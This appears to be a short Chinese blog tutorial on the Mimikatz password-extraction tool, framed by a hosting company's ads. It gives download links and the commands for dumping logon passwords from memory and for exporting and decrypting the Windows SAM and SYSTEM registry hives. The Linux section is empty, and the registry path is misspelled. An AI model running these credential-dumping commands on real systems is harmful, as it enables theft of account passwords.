扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
一、前言：
Mimikatz 一款密码抓取抓取神器，除了抓取密码之外，听说还可以导出谷歌浏览器的密码，当然第二种我也不会
二、Mimikatz下载
百度网盘：
链接：https://pan.baidu.com/s/166t4E-SfvHyDwuxlfq6wTw
提取码：3azc
Github:
https://github.com/gentilkiwi/mimikatz
三、Mimikatz基本用法
mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Windows使用方法
抓取本地SAM文件中的密码从注册表中导出
Reg save HELM/System sys.hiv //获取System注册表信息，导出为sys.hiv
Reg save HELM/SAM sam.hiv //获取Sam注册表信息，导出为Sam.hiv
用Mimikatz解密sam、sys这俩个文件
Privilege::debug //提升权限
lsadump::sam /sam:sam.hiv /system:sys.hiv //运行
利用powershell执行
Mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” exit >1.txt
Linux基本使用方法
你是否还在寻找稳定的海外服务器提供商？创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源，准确流量调度确保服务器高可用性，企业级服务器适合批量采购，新人活动首月15元起，快前往官网查看详情吧
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网